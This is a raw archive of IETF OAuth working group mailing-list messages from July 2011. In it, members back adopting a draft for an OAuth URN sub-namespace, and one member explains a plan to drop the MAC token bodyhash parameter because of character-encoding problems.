Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Cc: Barry Leiba , oauth Subject: Re: [OAUTH-WG] Fwd: New Version Notification for draft-campbell-oauth-urn-sub-ns-00.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 29 Jul 2011 20:46:05 -0000 Thanks for doing this. EHL On Jul 29, 2011, at 12:08, "Brian Campbell" wr= ote: > Following up from > http://www.ietf.org/mail-archive/web/oauth/current/msg06949.html a few > weeks ago, I've submitted a new I-D to establish an IETF URN > Sub-Namespace for OAuth (urn:ietf:params:oauth:*:*). Eran balked at > putting this in the core spec so it made sense to produce a separate > draft for it. I'd like to request from the group and the chairs that > this draft become a work item of the WG as soon as possible. The SAML > draft will utilize this to register a proper URN for the extension > grant type and presumably the JWT draft will as well. Hopefully it > will be useful in other contexts as well (like the oob parameter that > has been discussed). >=20 > The draft is available at: > http://tools.ietf.org/html/draft-campbell-oauth-urn-sub-ns-00 >=20 > Because Hannes originally wrote all the content, I've listed him as an > author. Let me know if that's not appropriate. >=20 > Thanks, > Brian >=20 >=20 >=20 >=20 > ---------- Forwarded message ---------- > From: > Date: Fri, Jul 29, 2011 at 12:41 PM > Subject: New Version Notification for draft-campbell-oauth-urn-sub-ns-00.= txt > To: brian.d.campbell@gmail.com > Cc: hannes.tschofenig@gmx.net, brian.d.campbell@gmail.com >=20 >=20 > A new version of I-D, draft-campbell-oauth-urn-sub-ns-00.txt has been > successfully submitted by Brian Campbell and posted to the IETF > repository. >=20 > Filename: draft-campbell-oauth-urn-sub-ns > Revision: 00 > Title: An IETF URN Sub-Namespace for OAuth > Creation date: 2011-07-29 > WG ID: Individual Submission > Number of pages: 5 >=20 > Abstract: > This document creates and registers an IETF URN Sub-namespace for use > with OAuth related specifications. >=20 >=20 >=20 >=20 > The IETF Secretariat > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From eran@hueniverse.com Fri Jul 29 18:43:52 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5CBAD21F8C6A for ; Fri, 29 Jul 2011 18:43:52 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.561 X-Spam-Level: X-Spam-Status: No, score=-2.561 tagged_above=-999 required=5 tests=[AWL=0.037, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id leR4lKmzaKp7 for ; Fri, 29 Jul 2011 18:43:47 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 06FA421F8C69 for ; Fri, 29 Jul 2011 18:43:46 -0700 (PDT) Received: (qmail 16756 invoked from network); 30 Jul 2011 01:43:45 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 30 Jul 2011 01:43:45 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Fri, 29 Jul 2011 18:43:45 -0700 From: Eran Hammer-Lahav To: OAuth WG Date: Fri, 29 Jul 2011 18:43:01 -0700 Thread-Topic: MAC Tokens body hash Thread-Index: AcxOV1zatemG0Z55Q8C3GZ2TX6+N9g== Message-ID: <90C41DD21FB7C64BB94121FBBC2E723450245F611B@P3PW5EX1MB01.EX1.SECURESERVER.NET> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E723450245F611BP3PW5EX1MB01E_" MIME-Version: 1.0 Cc: Ben Adida , "'Adam Barth \(adam@adambarth.com\)'" Subject: [OAUTH-WG] MAC Tokens body hash X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 30 Jul 2011 01:43:52 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E723450245F611BP3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I plan to drop support for the bodyhash parameter in the next draft based o= n bad implementation experience. Even with simple text body, UTF encoding h= as introduced significant issues for us. The current draft does not work us= ing simple JS code between a browser and node.js even when both use the sam= e v8 engine due to differences in the body encoding. Basically, the JS stri= ng used to send a request from the browser is not the actual string sent on= the wire. To fix that, we need to force UTF-8 encoding on both sides. However, that i= s very much application specific. This will not work for non-text bodies. I= nstead, the specification should offer a simple way to use the ext paramete= r for such needs, including singing headers. And by offer I mean give examp= les, but leave it application specific for now. I am open to suggestions but so far all the solutions I came up with will i= ntroduce unacceptable complexity that will basically make this work useless= . EHL --_000_90C41DD21FB7C64BB94121FBBC2E723450245F611BP3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

I plan to drop s= upport for the bodyhash parameter in the next draft based on bad implementa= tion experience. Even with simple text body, UTF encoding has introduced si= gnificant issues for us. The current draft does not work using simple JS co= de between a browser and node.js even when both use the same v8 engine due = to differences in the body encoding. Basically, the JS string used to send = a request from the browser is not the actual string sent on the wire.<= /o:p>

 

To = fix that, we need to force UTF-8 encoding on both sides. However, that is v= ery much application specific. This will not work for non-text bodies. Inst= ead, the specification should offer a simple way to use the ext parameter f= or such needs, including singing headers. And by offer I mean give examples= , but leave it application specific for now.

 

I am open to suggestions but= so far all the solutions I came up with will introduce unacceptable comple= xity that will basically make this work useless.

 

EHL

= = --_000_90C41DD21FB7C64BB94121FBBC2E723450245F611BP3PW5EX1MB01E_-- From stpeter@stpeter.im Sat Jul 30 18:01:43 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D8AAF21F85AB for ; Sat, 30 Jul 2011 18:01:43 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.104 X-Spam-Level: X-Spam-Status: No, score=-102.104 tagged_above=-999 required=5 tests=[AWL=-0.574, BAYES_00=-2.599, DATE_IN_PAST_06_12=1.069, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id AMytbulkrJBs for ; Sat, 30 Jul 2011 18:01:43 -0700 (PDT) Received: from stpeter.im (mailhost.stpeter.im [207.210.219.225]) by ietfa.amsl.com (Postfix) with ESMTP id 295E721F85A3 for ; Sat, 30 Jul 2011 18:01:40 -0700 (PDT) Received: from squire.local (unknown [216.17.251.72]) (Authenticated sender: stpeter) by stpeter.im (Postfix) with ESMTPSA id 5AB8E41302; Sat, 30 Jul 2011 19:02:52 -0600 (MDT) Message-ID: <4E3435A0.3000603@stpeter.im> Date: Sat, 30 Jul 2011 12:47:28 -0400 From: Peter Saint-Andre User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:5.0) Gecko/20110624 Thunderbird/5.0 MIME-Version: 1.0 To: Brian Campbell References: <20110729184136.5836.39491.idtracker@ietfa.amsl.com> In-Reply-To: X-Enigmail-Version: 1.2 OpenPGP: url=https://stpeter.im/stpeter.asc Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Cc: Barry Leiba , oauth Subject: Re: [OAUTH-WG] Fwd: New Version Notification for draft-campbell-oauth-urn-sub-ns-00.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 31 Jul 2011 01:01:43 -0000 On 7/29/11 3:07 PM, Brian Campbell wrote: > Following up from > http://www.ietf.org/mail-archive/web/oauth/current/msg06949.html a few > weeks ago, I've submitted a new I-D to establish an IETF URN > Sub-Namespace for OAuth (urn:ietf:params:oauth:*:*). Eran balked at > putting this in the core spec so it made sense to produce a separate > draft for it. I'd like to request from the group and the chairs that > this draft become a work item of the WG as soon as possible. The SAML > draft will utilize this to register a proper URN for the extension > grant type and presumably the JWT draft will as well. Hopefully it > will be useful in other contexts as well (like the oob parameter that > has been discussed). > > The draft is available at: > http://tools.ietf.org/html/draft-campbell-oauth-urn-sub-ns-00 > > Because Hannes originally wrote all the content, I've listed him as an > author. Let me know if that's not appropriate. I'm happy to sponsor this draft if the Security ADs think it is too "appsy", but I think it's completely straightforward. Peter -- Peter Saint-Andre https://stpeter.im/ From barryleiba@gmail.com Sun Jul 31 07:45:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id CF1C221F8753 for ; Sun, 31 Jul 2011 07:45:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.052 X-Spam-Level: X-Spam-Status: No, score=-103.052 tagged_above=-999 required=5 tests=[AWL=-0.075, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ozUlo68SDNJr for ; Sun, 31 Jul 2011 07:45:00 -0700 (PDT) Received: from mail-yw0-f44.google.com (mail-yw0-f44.google.com [209.85.213.44]) by ietfa.amsl.com (Postfix) with ESMTP id 4AE6A21F8747 for ; Sun, 31 Jul 2011 07:45:00 -0700 (PDT) Received: by ywm21 with SMTP id 21so463205ywm.31 for ; Sun, 31 Jul 2011 07:45:03 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=G1hc25Rt4D1PbmROHvOkjL4oW7q2nqNMG+bgvyouC9Y=; b=EwSgc8TH20UfdIjsS2cBPhBkupH8AvFtJXQ4r4qoBV08/XXa7JRdstHaLHLOYKDeFD PyLGEaxAVb+Wiba98M0W2IW+UZ40yt6220SNfen3S1qRLJlIIK1qmJA4XuyHfXvTuXoj yp3EeeoNA4PUYHdd7mbK+TE6/dVR/g7x4Ueto= MIME-Version: 1.0 Received: by 10.236.181.34 with SMTP id k22mr2202226yhm.459.1312123502098; Sun, 31 Jul 2011 07:45:02 -0700 (PDT) Sender: barryleiba@gmail.com Received: by 10.236.207.132 with HTTP; Sun, 31 Jul 2011 07:45:01 -0700 (PDT) In-Reply-To: <4E3435A0.3000603@stpeter.im> References: <20110729184136.5836.39491.idtracker@ietfa.amsl.com> <4E3435A0.3000603@stpeter.im> Date: Sun, 31 Jul 2011 10:45:01 -0400 X-Google-Sender-Auth: 8FUS-Ky3UxVPd6FlNnN0V9_-9XY Message-ID: From: Barry Leiba To: Peter Saint-Andre Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: oauth Subject: Re: [OAUTH-WG] Fwd: New Version Notification for draft-campbell-oauth-urn-sub-ns-00.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 31 Jul 2011 14:45:00 -0000 On Sat, Jul 30, 2011 at 12:47, Peter Saint-Andre wrote= : > On 7/29/11 3:07 PM, Brian Campbell wrote: >> Following up from >> http://www.ietf.org/mail-archive/web/oauth/current/msg06949.html a few >> weeks ago, I've submitted a new I-D to establish an IETF URN >> Sub-Namespace for OAuth (urn:ietf:params:oauth:*:*). =A0Eran balked at >> putting this in the core spec so it made sense to produce a separate >> draft for it. =A0I'd like to request from the group and the chairs that >> this draft become a work item of the WG as soon as possible. The SAML >> draft will utilize this to register a proper URN for the extension >> grant type and presumably the JWT draft will as well. =A0 Hopefully it >> will be useful in other contexts as well (like the oob parameter that >> has been discussed). >> >> The draft is available at: >> http://tools.ietf.org/html/draft-campbell-oauth-urn-sub-ns-00 >> >> Because Hannes originally wrote all the content, I've listed him as an >> author. Let me know if that's not appropriate. > > I'm happy to sponsor this draft if the Security ADs think it is too > "appsy", but I think it's completely straightforward. Given the progress that the OAuth WG has made, the fact that we're in WGLC on two major documents, and the fact that the SAML draft depends upon what's in here, I have no issue with adding this as a WG item. Stephen, do you agree with that? (I know that Stephen's away for a bit, and won't be responding for a while. This can wait until he gets back, and in the meantime the SAML doc can assume that this one is going forward.) Barry